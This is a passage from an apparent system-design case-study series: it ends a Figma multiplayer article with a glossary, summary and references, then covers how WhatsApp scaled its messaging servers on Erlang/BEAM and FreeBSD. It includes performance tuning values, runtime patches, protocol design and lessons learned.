| **LiveGraph**                                 | Figma's real-time data subscription system for non-document data (files, teams, comments), backed by PostgreSQL.                                                        |
| **Kiwi**                                      | Figma's custom schema-based binary serialization format, inspired by Protocol Buffers, used for the .fig file format.                                                   |
| **Eg-walker**                                 | Event Graph Walker — an algorithm by Gentle and Kleppmann that merges concurrent text edits using a temporary CRDT structure. Adopted by Figma for code layers in 2025. |

### Summary

- Figma rejected both OT (combinatorial complexity for a design tool) and pure CRDTs (unnecessary decentralization overhead) in favor of property-level last-writer-wins with server-authoritative ordering
- The document model (`Map<ObjectID, Map<Property, Value>>`) enables fine-grained conflict resolution where most concurrent edits do not conflict at all
- Fractional indexing (arbitrary-precision, base-95 encoded) handles child ordering without OT's sequence transforms, with the server resolving concurrent insert collisions
- The 2018 Rust rewrite of the multiplayer server eliminated GC pauses and enabled per-document process isolation, with >10x faster serialization
- A DynamoDB-backed journal (WAL) reduced worst-case data loss from 60 seconds to under 1 second, processing >2.2 billion changes daily
- LiveGraph (Go, PostgreSQL WAL) handles non-document real-time data separately from the multiplayer server, with an invalidation-and-refetch architecture after the 100x redesign

### References

- [How Figma's multiplayer technology works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/) — Evan Wallace, October 2019
- [Multiplayer Editing in Figma](https://www.figma.com/blog/multiplayer-editing-in-figma/) — Evan Wallace, September 2016
- [Realtime Editing of Ordered Sequences](https://www.figma.com/blog/realtime-editing-of-ordered-sequences/) — Evan Wallace, March 2017
- [Rust in Production at Figma](https://www.figma.com/blog/rust-in-production-at-figma/) — Evan Wallace, May 2018
- [Making multiplayer more reliable](https://www.figma.com/blog/making-multiplayer-more-reliable/) — Figma Engineering, April 2024
- [Supporting Faster File Load Times with Memory Optimizations in Rust](https://www.figma.com/blog/supporting-faster-file-load-times-with-memory-optimizations-in-rust/) — Figma Engineering, 2024
- [LiveGraph: real-time data fetching at Figma](https://www.figma.com/blog/livegraph-real-time-data-fetching-at-figma/) — Rudi Chen and Slava Kim, 2021
- [Keeping It 100(x) With Real-time Data At Scale](https://www.figma.com/blog/livegraph-real-time-data-at-scale/) — Figma Engineering, May 2024
- [How Figma's Databases Team Lived to Tell the Scale](https://www.figma.com/blog/how-figmas-databases-team-lived-to-tell-the-scale/) — Figma Engineering, 2024
- [The growing pains of database architecture](https://www.figma.com/blog/how-figma-scaled-to-multiple-databases/) — Figma Engineering, 2022
- [Under the hood of Figma's infrastructure](https://www.figma.com/blog/under-the-hood-of-figmas-infrastructure/) — Figma Engineering, April 2024
- [WebAssembly cut Figma's load time by 3x](https://www.figma.com/blog/webassembly-cut-figmas-load-time-by-3x/) — Evan Wallace, June 2017
- [Canvas, Meet Code: Building Figma's Code Layers](https://www.figma.com/blog/building-figmas-code-layers/) — Alex Kern, June 2025
- [Collaborative Text Editing with Eg-walker](https://arxiv.org/abs/2409.14252) — Joseph Gentle and Martin Kleppmann, EuroSys 2025
- [The Hard Things About Sync](https://expertofobsolescence.substack.com/p/the-hard-things-about-sync) — Joy Gao (ex-Figma), April 2025
- [Notes From Figma II: Engineering Learnings](https://andrewkchan.dev/posts/figma2.html) — Andrew K. Chan (ex-Figma)
- [Evan Wallace's Figma technical writing archive](https://madebyevan.com/figma/) — Evan Wallace

---

## WhatsApp: 2 Million Connections Per Server with Erlang

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/whatsapp-erlang-scaling
**Category:** System Design / Real-World Case Studies
**Description:** How WhatsApp scaled from zero to 1 billion users on Erlang/BEAM and FreeBSD — with fewer than 50 engineers, ~800 servers, and a custom protocol that compressed messages to 20 bytes — by pushing per-server density to limits most teams never attempt.

# WhatsApp: 2 Million Connections Per Server with Erlang

How WhatsApp scaled from zero to 1 billion users on Erlang/BEAM and FreeBSD — with fewer than 50 engineers, ~800 servers, and a custom protocol that compressed messages to 20 bytes — by pushing per-server density to limits most teams never attempt.

<figure>

![WhatsApp's architecture evolution from an ejabberd fork to a custom Erlang runtime serving billions of users across Facebook data centers.](./whatsapp-s-architecture-evolution-from-an-ejabberd-fork-to-a-custom-erlang-runti.svg)

<figcaption>WhatsApp's architecture evolution from an ejabberd fork to a custom Erlang runtime serving billions of users across Facebook data centers.</figcaption>
</figure>

## Abstract

WhatsApp's architecture is a case study in radical simplicity at extreme scale. The mental model:

- **One Erlang process per connection, one connection per user.** The BEAM VM's lightweight processes (~300 bytes each) and per-process garbage collection made 2 million concurrent connections per server viable on commodity hardware. This is the foundation everything else builds on.
- **Vertical density before horizontal sprawl.** WhatsApp pushed each server to 2+ million connections before adding servers. Operational complexity scales with node count, not core count — so fewer, larger machines reduce the surface area for failure.
- **Custom everything where it matters.** ejabberd was rewritten. XMPP was replaced with FunXMPP (50-70% bandwidth reduction). The BEAM VM itself was patched (timer wheels, GC throttling, pg2 replacement). Standard components were kept only when they didn't bottleneck.
- **Store-and-forward with aggressive deletion.** Messages are transient — deleted from servers after confirmed delivery. 98% cache hit rate; 50% of messages read within 60 seconds. The server is a router, not a database.
- **Small team, high autonomy.** 32 engineers served 450 million users at acquisition. Individual teams of 1-3 engineers owned entire subsystems. Erlang's fault tolerance and OTP supervision reduced operational burden to the point where this ratio was sustainable.

## Context

### The System

WhatsApp is a mobile messaging platform that handles text, photos, video, voice messages, voice calls, and video calls. Every message passes through WhatsApp's servers for routing and store-and-forward delivery, but messages are not retained after delivery confirmation.

**Tech stack at time of Facebook acquisition (February 2014):**

- **Language**: Erlang/OTP R16B01 (custom patched)
- **OS**: FreeBSD 9.2
- **Database**: Mnesia (in-memory, ~2TB across 16 partitions), MySQL (persistent user data)
- **Protocol**: FunXMPP (custom binary, evolved from XMPP)
- **Web server**: YAWS (Erlang-based, for multimedia)
- **Hosting**: SoftLayer bare metal, dual datacenter (California + Washington D.C.)

### The Trigger

WhatsApp launched in 2009 as a status-broadcasting app, pivoting to messaging within months. Growth was organic — no advertising, no marketing budget. The trigger for each scaling phase was raw user growth on a fixed, small engineering team:

**Key metrics at milestones:**

| Metric                 | Oct 2011 | Aug 2012 | Dec 2013 | Mar 2014 | Nov 2014 |
| ---------------------- | -------- | -------- | -------- | -------- | -------- |
| Monthly active users   | ~100M    | ~150M    | 400M     | 465M     | 600M+    |
| Messages/day           | 1B       | 10B      | 18B      | ~40B     | 50B+     |
| Total servers          | ~100     | ~200     | ~400     | ~550     | ~800     |
| Total CPU cores        | —        | —        | —        | 11,000+  | —        |
| Engineers              | ~20      | ~25      | ~30      | 32       | ~35      |
| Concurrent connections | —        | —        | —        | 140M     | —        |

### Constraints

- **Team size**: Founders deliberately kept the team small. Jan Koum's philosophy: "I want to do one thing and do it well."
- **Budget**: Pre-acquisition, WhatsApp was venture-funded. SoftLayer hosting cost approximately $2 million/month for 700+ servers.
- **Target devices**: Must work on low-end phones over 2G networks in developing markets — bandwidth and battery efficiency were non-negotiable.
- **Availability**: Global 24/7 service with no maintenance windows. Any downtime affected hundreds of millions of users.
- **Organizational**: Individual engineering teams of 1-3 engineers with high autonomy. No dedicated operations staff.

## The Starting Point: ejabberd and Erlang

### Why Erlang

WhatsApp's co-founders chose Erlang indirectly — they chose ejabberd, an open-source XMPP (Extensible Messaging and Presence Protocol) server written in Erlang. Eugene Fooksman, an early WhatsApp engineer, cited the reasons: "openness, great reviews by developers, ease of start and the promise of Erlang's long-term suitability for large communication system."

The choice proved prescient for reasons the team only fully appreciated later:

1. **Lightweight processes**: Each BEAM process costs ~300 bytes of initial overhead. A million connections require ~300MB of process memory — leaving the remaining 99+ GB of RAM for application state, message buffers, and caching.

2. **Per-process garbage collection**: Unlike JVM-based systems where GC pauses affect the entire runtime, BEAM collects garbage per-process. A single slow process doesn't stall two million others. This is the architectural property that made WhatsApp's per-server density possible.

3. **Preemptive scheduling**: BEAM's reduction-based scheduler preempts long-running processes after a fixed number of function calls (reductions). No single process can starve others — critical when one user sends a 10MB video while another sends a 1-byte acknowledgment.

4. **OTP supervision trees**: When a process crashes, its supervisor restarts it according to a defined strategy. WhatsApp relied on this for self-healing: individual connection handlers crash and restart without affecting other users.

5. **Hot code loading**: Erlang supports loading new code modules without stopping the running system. WhatsApp used this for bug fixes and updates without downtime — essential for a 24/7 global service where "maintenance windows" don't exist.

Rick Reed, who joined WhatsApp in 2011 after 12 years building high-performance messaging systems in C++ at Yahoo, described his initial reaction: Erlang achieved scalability goals on single hosts that his Yahoo team "only dreamed about." Anton Lavrik, lead of WhatsApp's Erlang platform team, put it more directly: with C++, "developers have to implement half of Erlang by themselves" to achieve similar reliability.

### Why FreeBSD

The founders had extensive FreeBSD experience from Yahoo, where it was the standard server OS. WhatsApp benchmarked FreeBSD against Linux under realistic messaging load — FreeBSD's networking stack handled their workload better.

**FreeBSD kernel tuning for 2+ million connections (from WhatsApp's 2012 blog post):**

| Parameter                  | Value     | Purpose                                      |
| -------------------------- | --------- | -------------------------------------------- |
| `kern.maxfiles`            | 3,000,000 | System-wide file descriptor limit            |
| `kern.maxfilesperproc`     | 2,700,000 | Per-process file descriptor limit            |
| `kern.ipc.maxsockets`      | 2,400,000 | Maximum socket count                         |
| `net.inet.tcp.tcbhashsize` | 524,288   | TCP hash table entries for connection lookup |

> **Post-acquisition**: WhatsApp migrated from FreeBSD on SoftLayer bare metal to Linux on Facebook's data center infrastructure between 2017 and 2019. This was an organizational decision — Facebook's container orchestration and monitoring tooling required Linux — not a technical judgment against FreeBSD.

### The ejabberd Rewrite

WhatsApp didn't just configure ejabberd — they spent years rewriting it. According to Fooksman, the team spent "the next few years re-writing and modifying quite a few parts of ejabberd," including:

- **Protocol replacement**: Switched from standard XMPP to a proprietary binary protocol (FunXMPP)
- **Codebase restructuring**: Redesigned core components for their specific access patterns
- **BEAM VM patches**: Modified the Erlang runtime itself to eliminate bottlenecks
- **Storage layer**: Replaced ejabberd's default storage with Mnesia-based and file system-based backends

By 2014, the codebase retained ejabberd's ancestry but bore little resemblance to the original.

## The 2 Million Connections Milestone

### Server Specifications (January 2012)

WhatsApp published detailed server specifications when they achieved 2+ million concurrent TCP connections on a single server:

| Component  | Specification                                  |
| ---------- | ---------------------------------------------- |
| **CPU**    | Intel Xeon X5675 @ 3.07GHz, 24 logical cores   |
| **RAM**    | 103 GB                                         |
| **OS**     | FreeBSD 8.2-STABLE (64-bit)                    |
| **Erlang** | R14B03, 24 SMP threads, kernel polling enabled |

**Peak observed load:** 2,277,845 open sockets at 37.9% user CPU, 13.6% system CPU, 41.9% idle. 35 GB active memory with 27 GB free. The server had significant headroom remaining.

### Why 2 Million Mattered

WhatsApp's approach to scaling was deliberately vertical-first. Rick Reed described this as a consequence of a key insight: operational complexity scales with the number of nodes, not the number of cores per node. A cluster of 100 servers at 2 million connections each is operationally simpler than 1,000 servers at 200,000 each — fewer failure domains, fewer network partitions, fewer inter-node messages.

The BEAM VM's SMP (Symmetric Multi-Processing) scalability made this viable. Doubling cores on a single machine nearly doubled throughput because BEAM schedulers map 1:1 to cores with minimal cross-scheduler contention. WhatsApp confirmed this with benchmark data showing near-linear scaling up to 24 cores.

> **By 2014, WhatsApp reduced the target to ~1 million connections per server.** This was deliberate — users were sending more messages, using more features (photos, video, voice), and each connection consumed more resources. The team chose headroom over density.

## BEAM VM Tuning and Custom Patches

WhatsApp didn't just use Erlang/OTP — they patched the runtime itself. Rick Reed detailed these modifications at Erlang Factory 2014. Several patches were later upstreamed to mainline OTP; others became obsolete as OTP evolved.

### Timer Wheel Contention

**Problem**: Erlang's timer system used a single timer wheel with a global lock. At millions of concurrent connections, each with keepalive timers and message timeouts, lock contention on the timer wheel became a CPU bottleneck.

**Fix**: WhatsApp implemented multiple timer wheels with independent locks, distributing timer operations across wheels to eliminate contention.

### Garbage Collection Throttling

**Problem**: When a process's message queue grows faster than it can process messages, Erlang's default behavior triggers GC on each message receive. With a queue of millions of messages (during traffic spikes), GC overhead dominates CPU time.

**Fix**: Added GC throttling when the message queue exceeds a threshold. The process defers GC until it can make progress on the queue, trading temporary memory growth for CPU availability.

### Distribution Buffer Sizing

**Problem**: The default inter-node distribution receive buffer was 4KB — far too small for WhatsApp's inter-cluster message volumes. Small buffers caused frequent blocking on inter-node communication.

**Fix**: Increased the default to 256KB and made it configurable.

### pg2 Replacement (The February 2014 Outage)

**Problem**: In February 2014 — days after the Facebook acquisition announcement — a backend router dropped a VLAN, causing mass node disconnects and reconnects across the cluster. The `pg2` module (Erlang's process group module) entered a state with **n^3 messaging behavior** during the reconnection storm. Message queues went from zero to 4 million within seconds. The outage lasted 2 hours and 10 minutes.

**Fix**: WhatsApp initially patched pg2 with denormalized group member lists, but eventually built an entirely new `pg` module from scratch. The new module was upstreamed to mainline Erlang/OTP, replacing pg2 entirely. This is one of the most significant contributions from WhatsApp back to the Erlang ecosystem.

### Mnesia Transaction Manager

**Problem**: Mnesia's `mnesia_tm` dispatched all `async_dirty` transactions through a single process, serializing operations that could safely run in parallel.

**Fix**: Dispatched async_dirty transactions to separate per-table processes, enabling concurrent record updates across different tables.

### ETS Hash Improvements

**Problem**: Erlang Term Storage (ETS) used `phash2` hashing that could produce collisions under WhatsApp's workload, and the main/name tables didn't scale well with thousands of ETS tables.

**Fix**: Modified hash seeding to avoid phash2 collisions, and improved table management scaling. The hash salt patch was contributed upstream via pull request #2979.

### Scheduler Binding

WhatsApp enabled scheduler binding to CPU cores via the `+stbt` flag, which pins each BEAM scheduler to a specific CPU core. Reed reported this reduced context switching by approximately 4x, providing a significant throughput improvement with a one-line configuration change.

## The gen_industry Dispatch Pattern

### The Bottleneck

Standard Erlang `gen_server` is single-threaded — one process handles all incoming messages sequentially. For high-throughput services processing millions of operations per second, a single dispatch process becomes a bottleneck.

WhatsApp built a three-tier dispatch hierarchy:

### gen_server → gen_factory → gen_industry

1. **gen_server**: Standard OTP behavior. Single process, sequential dispatch. Works for low-throughput services.

2. **gen_factory**: Custom behavior. A single dispatch process distributes work across multiple worker processes. Eliminates the processing bottleneck but the dispatch process itself can become saturated at high fan-in.

3. **gen_industry**: Custom behavior with **multiple dispatch processes** feeding multiple workers. Parallelizes both ingestion and dispatch. At extreme fan-in from many nodes, this was necessary to prevent the dispatch layer from becoming the bottleneck.

### Data Partitioning

WhatsApp's services partitioned data 2-32 ways (most services used 32-way partitioning):

1. Consistent hashing maps a record to a partition
2. Each partition maps to a Mnesia fragment
3. Each fragment maps to a factory worker process
4. All access to a single record routes to a single Erlang process

This design serializes access to individual records without transactions — the owning process is the lock. Maximum ~8 concurrent processes access any single ETS or Mnesia fragment, controlling lock contention at the storage layer.

## FunXMPP: The Custom Binary Protocol

### Why Replace XMPP

Standard XMPP is XML-based. A simple text message generates ~180 bytes of protocol overhead — XML open/close tags, namespace declarations, attributes. On 2G networks in developing markets, this overhead was unacceptable. WhatsApp needed a protocol optimized for resource-constrained mobile devices on slow, unreliable networks.

### How FunXMPP Works

FunXMPP replaced XML structure with binary encoding:

1. **Token replacement**: Reserved XMPP words (message, from, body, etc.) are replaced by single bytes. For example, "message" becomes `0x59`, "@s.whatsapp.net" becomes `0x91`.

2. **Structural compression**: Instead of XML opening/closing tags, a single byte (e.g., `0xF8`) indicates a structure. The parser counts items rather than matching tag names.

3. **Result**: A typical message shrinks from ~180 bytes to ~20 bytes — a 50-70% bandwidth reduction.

This made WhatsApp usable on feature phones over 2G connections where every byte mattered. The protocol efficiency was a direct contributor to WhatsApp's dominance in developing markets.

## Storage Architecture

### Mnesia: The In-Memory Layer

WhatsApp used Mnesia, Erlang's built-in distributed database, as its primary metadata store:

| Configuration      | Value                                                       |
| ------------------ | ----------------------------------------------------------- |
| **Total RAM**      | ~2TB across 16 partitions                                   |
| **Total records**  | ~18 billion                                                 |
| **Node topology**  | Island architecture: 2 nodes per island (primary/secondary) |
| **Account table**  | 512 fragments                                               |
| **Cache hit rate** | 98%                                                         |

**What Mnesia stored:**

- User-to-server routing tables (which server handles which user)
- Offline message queues (messages waiting for delivery)
- User profiles and group memberships
- Multimedia metadata

**What Mnesia did not store:**

- Message content (transient — deleted after delivery confirmation)
- Bulk media files (stored on filesystem)
- Persistent user data (MySQL shards)

### Mnesia Limitations and Workarounds

Mnesia has known scalability constraints:

- `ram_copies` and `disc_copies` tables require the full dataset in memory
- `disc_copies` tables read the entire table from disk into memory on node startup — slow for large tables
- `disc_only_copies` tables are limited to 2GB each (DETS limitation)

WhatsApp worked around these with:

- **Island architecture**: Each 2-node island manages a subset of data, keeping per-island datasets manageable
- **UFS2 filesystem on FreeBSD**: Bulk data storage outside Mnesia
- **MySQL shards**: Persistent user data that doesn't need Mnesia's in-memory speed
- **async_dirty transactions**: Avoids Mnesia's full transaction protocol (which couples nodes)
- **Library directory across multiple drives**: Increased I/O throughput for Mnesia's disk operations

### Store-and-Forward Message Flow

WhatsApp's message delivery follows a store-and-forward model optimized for speed:

1. **Recipient online, same cluster**: Direct Erlang process-to-process message delivery (sub-millisecond)
2. **Recipient online, different cluster**: Inter-cluster forwarding via distribution connections (sub-second)
3. **Recipient offline**: Message stored in Mnesia offline queue, replicated to backup node
4. **Recipient reconnects**: Queued messages delivered in order
5. **Delivery confirmed**: Message deleted from server

Messages are retained for up to 30 days if the recipient remains offline. Over 50% of messages are read within 60 seconds of storage, which explains the 98% cache hit rate — the working set is overwhelmingly recent messages.

### Asynchronous Optimization

WhatsApp's Erlang code favored asynchronous patterns to maximize throughput:

- **`handle_cast` over `handle_call`**: Fire-and-forget messages avoid blocking the sender
- **Timeouts instead of monitors**: Reduces the number of inter-process links and associated overhead
- **`nosuspend` on casts**: If the target process's mailbox is full, the send fails immediately rather than blocking
- **Large distribution buffers**: 256KB (up from 4KB default) absorbs network bursts without blocking sender processes
- **Separate inter-node message queues**: Isolated per destination node, preventing a slow remote node from blocking messages to healthy nodes

## Multimedia System

### Architecture

WhatsApp rebuilt its multimedia handling system in Erlang in 2012, replacing an earlier non-Erlang system. Rick Reed described this at Erlang Factory 2013.

The multimedia flow separates content from metadata:

1. Client uploads media to HTTP server (YAWS, Erlang-based) over a separate connection
2. HTTP server stores the file and returns a hash/unique ID
3. Sender transmits the hash to the recipient via the messaging server
4. Recipient downloads media from the HTTP server using the hash

This separation means the messaging server never handles large binary payloads — it only routes small metadata messages. Media servers scale independently of chat servers.

### Scale (Late 2014)

| Metric                  | Daily Volume | Peak (New Year's Eve 2014) |
| ----------------------- | ------------ | -------------------------- |
| Photos                  | 600 million  | 2 billion                  |
| Voice messages          | 200 million  | —                          |
| Videos                  | 100 million  | 360 million                |
| Peak outbound bandwidth | —            | 146 Gb/s                   |

By late 2014, WhatsApp operated approximately 350 dedicated multimedia (MMS) servers — nearly half the total server fleet — reflecting the growing dominance of media in messaging traffic.

## Multi-Cluster Architecture

### Pre-Acquisition Topology

WhatsApp ran dual datacenters on SoftLayer bare metal:

- **Main clusters**: Multiple clusters in each datacenter handling chat connections
- **MMS clusters**: Dedicated multimedia clusters in each datacenter
- **Shared global cluster**: Cross-datacenter shared state
- **wandist connections**: Inter-cluster distribution links

### Island Architecture

Backend nodes were organized into "islands" — small, redundant clusters:

- Each island manages a subset of data partitions
- 2+ nodes per island (primary and secondary)
- One-way replication: primary handles all reads/writes; secondary is passive failover
- Islands operate independently, isolating failures

This design meant a node failure affected only the users mapped to that island's partitions. The blast radius of any single failure was a fraction of the total user base.

### Post-Acquisition Evolution

After the Facebook acquisition, the architecture evolved significantly:

- **Data center migration (2017-2019)**: 3-year migration from SoftLayer to Facebook-owned data centers. Presented at CodeBEAM SF 2019 by Igors Istocniks. Migration proceeded per phone number prefix (country code): make the prefix read-only, accelerate database replay repairs, move traffic, reconcile — under 5 minutes per prefix.
- **OS migration**: FreeBSD to Linux (required by Facebook's container orchestration and monitoring infrastructure)
- **Scale expansion**: Backend split into 40+ distinct clusters by function, scaled to 40,000+ Erlang nodes
- **Over 1 billion concurrent connections** maintained across the expanded infrastructure

### WARTS: WhatsApp's Runtime System

Post-acquisition, WhatsApp formalized their custom Erlang/OTP fork as **WARTS (WhatsApp's Runtime System)**, open-sourced on GitHub. WARTS focuses on performance, security, and tooling enhancements for Linux, reflecting the post-migration environment.

## End-to-End Encryption and Multi-Device

### End-to-End Encryption (April 2016)

WhatsApp integrated the Signal Protocol for end-to-end encryption across all message types — text, photos, video, voice messages, voice calls, and video calls. After this change, WhatsApp's servers could no longer read message content.

The server architecture remained Erlang/BEAM-based. The encryption added computational overhead on the client side but did not fundamentally change the server's role as a message router and store-and-forward relay.

### Multi-Device Support (July 2021)

Multi-device support required architectural changes to the server:

- **Per-device identity keys**: Previously, each user had one identity key. Now each device gets its own.
- **Client-fanout**: Messages are encrypted N times for N devices, with the sender performing the encryption
- **Device mapping**: Server maintains an account-to-device-identity mapping
- **History sync**: Encrypted message bundles transferred during device linking
- **Voice/video calls**: Generate random 32-byte SRTP (Secure Real-time Transport Protocol) master secrets per device

## Options Considered

WhatsApp's key architectural decisions involved explicit trade-offs. Understanding what they considered — and rejected — reveals why the final architecture took its shape.

### Language Choice: Erlang vs Alternatives

#### Option 1: C++

**Approach**: Build a custom messaging server in C++, the standard choice for high-performance servers at the time (2009).

**Pros**:

- Maximum control over memory and CPU usage
- Mature networking libraries
- Founders had C++ experience (Yahoo)

**Cons**:

- "Developers have to implement half of Erlang by themselves" (Anton Lavrik) — supervision, hot code loading, per-connection isolation
- Manual memory management at scale of millions of connections is error-prone
- No built-in concurrency model matching one-process-per-connection

**Why not chosen**: The reliability and concurrency features that C++ developers must build from scratch are built into Erlang's runtime. At WhatsApp's team size, building these primitives was not feasible.

#### Option 2: Java/JVM

**Approach**: Use a JVM-based server framework.

**Pros**:

- Large ecosystem and talent pool
- Garbage collection handles memory management

**Cons**:

- JVM garbage collection is global — stop-the-world pauses affect all connections
- Per-connection memory overhead significantly higher than BEAM processes
- Thread-per-connection model doesn't scale to millions without complex async frameworks

**Why not chosen**: JVM's global GC was the dealbreaker. Discord's later experience with Cassandra's JVM GC pauses (covered in a separate case study) validates this concern.

#### Option 3: Erlang (Chosen)

**Why chosen**: ejabberd provided a working XMPP server to build upon, Erlang's concurrency model matched the problem (one process per connection), and the runtime's fault tolerance reduced operational burden for a tiny team.

### Scaling Strategy: Vertical-First vs Horizontal-First

#### Option: Horizontal-first (many small servers)

**Pros**: Simpler per-server capacity planning; commodity hardware
**Cons**: More nodes = more operational complexity, more network partitions, more inter-node coordination

#### Chosen: Vertical-first (fewer large servers)

**Why chosen**: Operational complexity scales with node count, not core count. BEAM's SMP scalability meant doubling cores nearly doubled throughput. 100 servers at 2M connections was operationally simpler than 1,000 servers at 200K.

### Architecture: Microservices vs Monolith

WhatsApp deliberately avoided the microservices pattern:

**Why not microservices**: At WhatsApp's team size (32 engineers), microservices would have added deployment complexity, inter-service latency, and operational overhead that a small team couldn't absorb. Erlang's process model already provides service isolation within a single BEAM node — each subsystem runs in its own supervision tree, crashes independently, and can be upgraded independently via hot code loading.

**Decision factor matrix:**

| Factor                                 | Erlang/ejabberd       | C++ Custom   | Java/JVM             | Microservices      |
| -------------------------------------- | --------------------- | ------------ | -------------------- | ------------------ |
| Time to working prototype              | Weeks                 | Months       | Months               | N/A                |
| Per-connection memory                  | ~300 bytes            | Variable     | ~KB range            | N/A                |
| GC impact on other connections         | None (per-process)    | N/A (manual) | Global STW pauses    | Varies             |
| Hot code reload                        | Built-in              | Not viable   | Possible (complex)   | Via rolling deploy |
| Fault isolation                        | Per-process           | Manual       | Per-thread (limited) | Per-service        |
| Operational complexity for 3 engineers | Low (OTP supervision) | Very High    | High                 | Very High          |

## Outcome

### Metrics at Key Milestones

| Metric                 | Early 2014 (Acquisition) | Late 2014 | 2016 | Current       |
| ---------------------- | ------------------------ | --------- | ---- | ------------- |
| Monthly active users   | 450M                     | 600M+     | 1B   | 3B+           |
| Messages/day           | ~40B                     | 50B+      | —    | 100B+         |
| Servers                | ~550                     | ~800      | —    | 40,000+ nodes |
| Engineers              | 32                       | ~35       | ~50  | 1,000+        |
| Concurrent connections | 140M                     | —         | —    | 1B+           |
| Users per engineer     | 14M                      | 17M       | 20M  | —             |

### Performance Numbers (2014)

| Metric                            | Value       |
| --------------------------------- | ----------- |
| Peak logins/second                | 230,000     |
| Peak inbound messages/second      | 342,000     |
| Peak outbound messages/second     | 712,000     |
| Erlang inter-node messages/second | 70+ million |
| Connections per second            | 440,000     |

### Cost Efficiency

Pre-acquisition, WhatsApp ran ~700 servers on SoftLayer at approximately $2 million/month. At 450 million MAU, this translates to approximately $0.004/user/month — orders of magnitude below competing platforms that required larger teams and more infrastructure.

### Timeline

| Date      | Event                                                      |
| --------- | ---------------------------------------------------------- |
| Feb 2009  | WhatsApp Inc. incorporated                                 |
| Aug 2009  | WhatsApp 2.0 launched (messaging pivot)                    |
| Jan 2011  | 1 million connections per server achieved                  |
| Jan 2012  | 2+ million connections per server ("1 million is so 2011") |
| Oct 2011  | 1 billion messages/day                                     |
| Aug 2012  | 10 billion messages/day                                    |
| Dec 2013  | 18 billion messages/day, 400M MAU                          |
| Feb 2014  | Facebook acquisition ($19B); pg2 outage                    |
| Mar 2014  | Rick Reed's "Billion with a B" talk; 465M MAU              |
| Nov 2014  | 600M+ MAU, 800 servers                                     |
| Feb 2016  | 1 billion MAU                                              |
| Apr 2016  | End-to-end encryption (Signal Protocol)                    |
| 2017-2019 | Data center migration (SoftLayer → Facebook DCs)           |
| Jul 2021  | Multi-device support                                       |
| 2024      | 3B+ MAU, 40,000+ Erlang nodes, 100B+ messages/day          |

## Lessons Learned

### Technical Lessons

#### 1. Per-Process GC Changes the Scaling Game

**The insight**: BEAM's per-process garbage collection is the single architectural property that enabled WhatsApp's per-server density. On a JVM, 2 million connections sharing a single heap would produce catastrophic GC pauses. On BEAM, each connection's GC is independent — a process handling a heavy media message doesn't stall two million idle connections.

**How it applies elsewhere**: When evaluating runtimes for high-connection-count workloads (WebSocket servers, IoT gateways, chat systems), the GC model matters more than raw throughput benchmarks. A runtime that's 2x slower per-request but has isolated GC may support 10x more connections.

**Warning signs you need isolated GC**:

- Latency spikes correlate with GC pauses, not load
- Tail latency (p99/p999) degrades non-linearly with connection count
- Adding connections degrades performance for existing connections

#### 2. Vertical Density Reduces Operational Complexity

**The insight**: WhatsApp pushed each server to its connection limit before adding servers. This kept the cluster small — 550 servers for 450 million users. Fewer servers meant fewer failure domains, fewer inter-node messages, fewer network partitions to handle, and fewer servers for a team of 32 to monitor.

**How it applies elsewhere**: Before horizontally scaling to more nodes, verify that each node is fully utilized. Modern hardware with 128+ cores and 512+ GB RAM can serve workloads that many teams distribute across dozens of smaller instances. The operational cost of each additional node (monitoring, failover, network configuration) is often underestimated.

**Warning signs you should scale vertically first**:

- Average CPU utilization per node is below 40%
- Most operational incidents involve inter-node communication, not node overload
- Your team size is small relative to node count

#### 3. Custom Protocols Unlock Markets

**The insight**: FunXMPP's 50-70% bandwidth reduction over standard XMPP wasn't a premature optimization — it was a market-access decision. WhatsApp dominated developing markets where 2G was prevalent and per-MB data costs were high. The protocol efficiency made the product viable where competitors couldn't operate.

**How it applies elsewhere**: Protocol efficiency matters when your target environment is resource-constrained. This applies to IoT devices, mobile apps in bandwidth-limited regions, and any system where per-message cost (bandwidth, battery, compute) directly affects user experience or viability.

#### 4. Erlang's "Let It Crash" Reduces Team Size Requirements

**The insight**: OTP supervision trees meant that individual connection crashes were automatically recovered without operator intervention. This is why 32 engineers could serve 450 million users without a dedicated operations team. The runtime handles the class of failures that would otherwise require human intervention.

**How it applies elsewhere**: Fault-tolerant runtimes reduce the human operational burden. If your team spends significant time on "restart the process" or "reconnect the client" remediation, evaluate whether your runtime's error recovery model is the bottleneck.

### Process Lessons

#### 1. Start with an Open-Source Base, Then Rewrite

**What they learned**: Starting with ejabberd gave WhatsApp a functional messaging server in weeks. Over years, they rewrote nearly every component. The initial choice provided time-to-market; the rewrites provided performance at scale.

**What they'd do differently**: The choice to start with ejabberd was vindicated. The key lesson is that the starting point doesn't constrain the end state — as long as the underlying runtime (Erlang/BEAM) is sound, everything above it can be replaced incrementally.

#### 2. Patch the Runtime When Necessary

**What they learned**: WhatsApp didn't treat Erlang/OTP as a black box. When the timer wheel, GC, or process group modules became bottlenecks, they patched the runtime. Several of these patches were upstreamed, benefiting the entire Erlang ecosystem.

**What it requires**: Deep understanding of the runtime internals. WhatsApp hired engineers (like Rick Reed) who could profile and modify the BEAM VM. This capability — reading and modifying your runtime's source code — is rare but transformative at extreme scale.

### Organizational Lessons

#### 1. Team Size as a Feature

**The insight**: WhatsApp's small team wasn't a constraint to overcome — it was a deliberate design choice that shaped the architecture. A 32-person team cannot operate microservices, maintain complex deployment pipelines, or staff a 24/7 operations center. So they chose Erlang (self-healing), monolithic deployment (one artifact), and vertical scaling (fewer nodes). Every architectural decision was filtered through "can 1-3 engineers own this?"

**How it applies elsewhere**: Team size should inform architecture, not the other way around. If your team is small, choose technologies and patterns that minimize operational surface area. The worst outcome is an architecture that requires more operators than you have.

#### 2. Focus Enables Density

**The insight**: WhatsApp did one thing — messaging. No news feed, no advertising engine, no recommendation system, no content moderation pipeline (pre-acquisition). This single-product focus meant every engineering hour went toward making messaging work better at scale.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- You're building a high-connection-count server (WebSocket, MQTT, chat, IoT gateway)
- Your connection count is growing faster than your team size
- You need predictable per-connection latency regardless of total connection count
- Your target environment includes resource-constrained clients (mobile, IoT, developing markets)

### Checklist for Evaluation

- [ ] Does your runtime support per-connection (per-process/per-goroutine/per-fiber) garbage collection?
- [ ] Is your per-connection memory overhead measured in bytes or kilobytes? (WhatsApp: ~300 bytes)
- [ ] Can your servers handle 10x more connections by scaling vertically before adding nodes?
- [ ] Can your current team size sustain the operational load of your current node count?
- [ ] Have you measured your protocol overhead vs. payload size for typical messages?

### Starting Points

